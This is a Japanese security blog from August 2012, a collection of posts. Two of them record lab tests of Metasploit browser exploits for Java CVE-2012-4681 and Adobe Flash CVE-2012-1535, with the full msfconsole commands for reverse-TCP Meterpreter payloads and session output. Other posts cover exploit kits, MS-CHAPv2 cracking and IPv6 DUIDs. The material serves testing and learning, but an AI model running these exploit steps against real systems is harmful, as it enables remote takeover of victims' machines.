2012年8月28日火曜日

8月26日に報告されたJavaの0-day(CVE-2012-4681)について

*CVE を修正してます

8月26日に Java の 0-day に関する Exploit code が公開される
http://pastie.org/4594319


FireEye からはこの Java の 0-day が実際に使用されているとの報告

8月28日になってようやく JVN に登録される。
http://jvn.jp/cert/JVNTA12-240A/index.html

Metasploit のモジュールが8月27日に公開されていたので早速試してみる。
https://community.rapid7.com/community/metasploit/blog/2012/08/27/lets-start-the-week-with-a-new-java-0day
http://www.metasploit.com/modules/exploit/multi/browser/java_jre17_exec

が、検証環境だとうまく動作しない。
検索してみると、JRE のバージョンによって Exploit が成功しない場合もあるとのこと。
http://scrammed.blogspot.jp/2012/08/analysing-cve-2012-xxxx-latest-java-0day.html

色々試した結果、検証環境のブラウザが IE6 だったのが原因・・・。
IE8 にすると成功するが、詳細までは調べていない。

msf > use exploit/multi/browser/java_jre17_exec
msf  exploit(java_jre17_exec) > set payload java/meterpreter/reverse_tcp
payload => java/meterpreter/reverse_tcp
msf  exploit(java_jre17_exec) > set srvhost 172.16.0.80
srvhost => 172.16.0.80
msf  exploit(java_jre17_exec) > set srvport 80
srvport => 80
msf  exploit(java_jre17_exec) > set uripath jre
uripath => jre
msf  exploit(java_jre17_exec) > set lhost 172.16.0.80
lhost => 172.16.0.80
msf  exploit(java_jre17_exec) > set lport 8080
lport => 8080
msf  exploit(java_jre17_exec) > exploit
[*] Exploit running as background job.

[*] Started reverse handler on 172.16.0.80:8080
[*] Using URL: http://172.16.0.80:80/jre
[*] Server started.
msf  exploit(java_jre17_exec) > [*] 172.16.0.100    java_jre17_exec - Java 7 Applet Remote Code Execution handling request
[*] 172.16.0.100    java_jre17_exec - Sending Applet.jar
[*] 172.16.0.100    java_jre17_exec - Sending Applet.jar
[*] Sending stage (30216 bytes) to 172.16.0.100
[*] Meterpreter session 1 opened (172.16.0.80:8080 -> 172.16.0.100:1118) at 2012-08-28 20:32:52 +0900
msf  exploit(java_jre17_exec) >
8月28日時点ではまだ JRE の修正版は出ていない。


2012年8月22日水曜日

2012年8月20日月曜日

Adobe Flash Player Exploit CVE-2012-1535

Adobe Flash Player の脆弱性 CVE-2012-1535 を使う exploit が出ていたので試してみる。
脆弱性の詳細は下記のリンク。
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2012-1535

Metasploit の情報は下記のリンク。
http://www.metasploit.com/modules/exploit/windows/browser/adobe_flash_otf_font

windows xp には flashplayer11_2r202_228_winax_32bit.exe をインストールして、Metasoloit で下記のように実行したところ、まずは失敗。
msf > use exploit/windows/browser/adobe_flash_otf_font
msf  exploit(adobe_flash_otf_font) > rexploit
[*] Reloading module...
[*] Exploit running as background job.

[*] Started reverse handler on 172.16.0.80:4444
[*] SWF Loaded: 31941 bytes
[*] Using URL: http://0.0.0.0:8080/X8CVKazCkgdN5X
msf  exploit(adobe_flash_otf_font) > [*]  Local IP: http://172.16.0.80:8080/X8CVKazCkgdN5X
[*] Server started.

msf  exploit(adobe_flash_otf_font) >
[*] 172.16.0.100    adobe_flash_otf_font - User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
[*] 172.16.0.100    adobe_flash_otf_font - Client requesting: /X8CVKazCkgdN5X
[*] 172.16.0.100    adobe_flash_otf_font - Sending HTML
[*] 172.16.0.100    adobe_flash_otf_font - User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
[*] 172.16.0.100    adobe_flash_otf_font - Client requesting: /X8CVKazCkgdN5X5euz.swf
[*] 172.16.0.100    adobe_flash_otf_font - Sending SWF
[*] 172.16.0.100    adobe_flash_otf_font - User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
[*] 172.16.0.100    adobe_flash_otf_font - Client requesting: /pay.txt
[*] 172.16.0.100    adobe_flash_otf_font - Sending Payload

msf  exploit(adobe_flash_otf_font) >

Metasploit のブログに「Windows XP なら ROP chain のオプションを JRE にしてもいいぜ!!」的なことが書いてあったので、試してみると成功した。

https://community.rapid7.com/community/metasploit/blog/2012/08/17/adobe-flash-player-exploit-cve-2012-1535-now-available-for-metasploit
msf > use exploit/windows/browser/adobe_flash_otf_font
msf  exploit(adobe_flash_otf_font) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf  exploit(adobe_flash_otf_font) > set srvhost 172.16.0.80
srvhost => 172.16.0.80
msf  exploit(adobe_flash_otf_font) > set srvport 80
srvport => 80
msf  exploit(adobe_flash_otf_font) > set lhost 172.16.0.80
lhost => 172.16.0.80
msf  exploit(adobe_flash_otf_font) > set lport 8080
lport => 8080
msf  exploit(adobe_flash_otf_font) > set uripath test
uripath => test
msf  exploit(adobe_flash_otf_font) > set ROP JRE
ROP => JRE
msf  exploit(adobe_flash_otf_font) > exploit
[*] Exploit running as background job.

[*] Started reverse handler on 172.16.0.80:8080
[*] SWF Loaded: 31941 bytes
[*] Using URL: http://172.16.0.80:80/test
[*] Server started.
msf  exploit(adobe_flash_otf_font) > [*] 172.16.0.100    adobe_flash_otf_font - User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
[*] 172.16.0.100    adobe_flash_otf_font - Client requesting: /test
[*] 172.16.0.100    adobe_flash_otf_font - Sending HTML
[*] 172.16.0.100    adobe_flash_otf_font - User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
[*] 172.16.0.100    adobe_flash_otf_font - Client requesting: /test6QWwOQw.swf
[*] 172.16.0.100    adobe_flash_otf_font - Sending SWF
[*] 172.16.0.100    adobe_flash_otf_font - User-agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
[*] 172.16.0.100    adobe_flash_otf_font - Client requesting: /pay.txt
[*] 172.16.0.100    adobe_flash_otf_font - Sending Payload
[*] Sending stage (752128 bytes) to 172.16.0.100
[*] Meterpreter session 1 opened (172.16.0.80:8080 -> 172.16.0.100:1052) at 2012-08-20 22:34:05 +0900
[*] Session ID 1 (172.16.0.80:8080 -> 172.16.0.100:1052) processing InitialAutoRunScript 'migrate -f'
[*] Current server process: iexplore.exe (184)
[*] Spawning notepad.exe process to migrate to
[+] Migrating to 128
[+] Successfully migrated to process

msf  exploit(adobe_flash_otf_font) >
msf  exploit(adobe_flash_otf_font) > show sessions

Active sessions
===============

  Id  Type                   Information                                 Connection
  --  ----                   -----------                                 ----------
  1   meterpreter x86/win32  HOGEHOGE\hogehoge @ HOGEHOGE-71815D  172.16.0.80:8080 -> 172.16.0.100:1052 (172.16.0.100)

msf  exploit(adobe_flash_otf_font) >
メモリの状態とかまでは確認してないないので、詳細は分からないがとりあえず何も考えずに Windows で試すなら JRE を使用したほうが成功する。

2012年8月14日火曜日

Exploit kits についてのレポート


Black Hat 2012 のセッション資料にて最近の Exploit kits の紹介がされている。

https://media.blackhat.com/bh-us-12/Briefings/Jones/BH_US_12_Jones_State_Web_Exploits_Slides.pdf

この中で紹介されている Exploit Kits は以下のとおり
  • Black Hole
    • JavaScript 関係が非常に充実しているらしい
    • あと、最近世間を騒がせている
  •  Phoenix Exploit Kit
    • 非常に多くの Exploit を使える
    • バージョンによって使える機能が違う
  • Yang Pack
    • 今年はじめぐらいから出始めた
    • 中国製
  • Sweet Orange Exploit Kit
    • 今年はじめぐらいから出始めた
    • 結構いい値段
  • Nuclear Pack v2
    • anti-honeyclient(ハニーポット?)機能搭載

2012年8月13日月曜日

Exploit DB での検索トップ10

https://community.rapid7.com/community/metasploit/blog/2012/08/10/exploit-trends-july

特に期間は書いてないけど、7月のトップ10かな?

  1. Microsoft Server Service Relative Path Stack Corruption (CVE-2008-4250, MSB-MS08-067)
  2. MS12-020 Microsoft Remote Desktop Use-After-Free DoS (CVE-2012-0002, MSB-MS12-020)
  3. Microsoft Server Service NetpwPathCanonicalize Overflow (CVE-2006-3439, MSB-MS06-040)
  4. Microsoft RPC DCOM Interface Overflow (CVE-2003-0352, MSB-MS03-026)
  5. MS12-037 Internet Explorer Same ID Property Deleted Object Handling Memory Corruption (CVE-2012-1875)
  6. Adobe PDF Embedded EXE Social Engineering (CVE-2010-1240)
  7. Microsoft Windows Authenticated User Code Execution (CVE-1999-0504)
  8. Java Signed Applet Social Engineering Code Execution
  9. PHP CGI Argument Injection
  10. Joomla 1.5.12 TinyBrowser File Upload Code Execution         

注目は8位のJavaのソーシャルエンジニアリングのコードだそうで。
これは試してみるかな。

IPv6 アドレスの再取得方法

Windows 7 に割り振られた ipv6 のアドレスを再取得する方法。

  1. ケーブル抜き差し
  2. コマンドで ipconfig /renew6 
コマンドでインターフェースの off/on でも同じ結果になるはず。2.のコマンドは /release と言うのもある。

2012年8月6日月曜日

End of Days for MS-CHAPv2

End of Days for MS-CHAPv2 と言う見出しで話題になっているのでとりあえず読んでみる。

Moxie Marlinspike and David Hulton gave a talk at Defcon 20 on a presentation on cracking MS-CHAPv2 with 100% success rate. This protocol is still very much in use with PPTP VPNs, and WPA2 Enterprise environments for authentication.
 Moxie Marlinspike と David Hulton が MS-CHAPv2を100%の確立でクラッキングを成功させた。MS-CHAPv2 は PPTP や WPA2 の企業向け認証でよく使われている。

Moxie's recommendations :
1- All users and providers of PPTP VPN solutions should immediately start migrating to a different VPN protocol. PPTP traffic should be considered unencrypted.
2- Enterprises who are depending on the mutual authentication properties of MS-CHAPv2 for connection to their WPA2 Radius servers should immediately start migrating to something else.
 Moxie の推奨は、
1. PPTP を使った VPN はすぐに他の VPN プロトコルに切り替える、PPTP の通信は暗号化されていないと考えるべき
2. WPA2 の Radius サーバへの通信で MS-CHAPv2 を使っている企業はすぐに他の方法へ移行すべき

Knowing that MS-CHAPv2 can now be cracked, what alternatives are you considering to secure your now insecure communications? The two alternatives suggested by Moxie are "[...] OpenVPN configuration, or IPSEC in certificate rather than PSK mode."
MS-CHAPv2 が破られてしまった現在、あなたはどんな代替手段を選びますか? Moxie は OpenVPN または IPSEC の証明書付きを提案している。

内容は上記のような感じになっていて、Cracking MS-CHAPv2 with a 100% success rate に本人たちの詳しい記事が載っている。


2012年8月1日水曜日

IPv6 DUID とは

DUID とは DHCP Unique Identifier の略で DHCP 固有識別子 となっている。

DHCPv6 で特定端末に対して固定アドレスを割り振るときなどに使用する。
IPv4 の DHCP では MAC アドレスで識別していたが、IPv6 では DUID を使用する。
(IPv6 では ARP がないため、MAC を識別する手段が無い)

DUID はwikiによれば下記の基準で設定される。
  • DUID-LLT - リンク層アドレス + 時刻 (LLT = Link-Layer-Time)
  • DUID-EN - インタフェースの製造者番号を元にしたベンダ固有の一意な ID (EN = Enterprise Number)
  • DUID-LL - リンク層アドレス (LL = Link Layer)
Windows だと ipconfig -all で確認可能。
DUID は端末に固定で割り振られているので、複数インターフェース(物理と無線など)があっても同じDUIDが表示される。変更するにはレジストリを設定しないといけない(実際にレジストリをいじった人のサイト)
なお、Windows での表示では"-"が使用されるが、ISC DHCP で記述する場合は":"になるので変換する必要がある。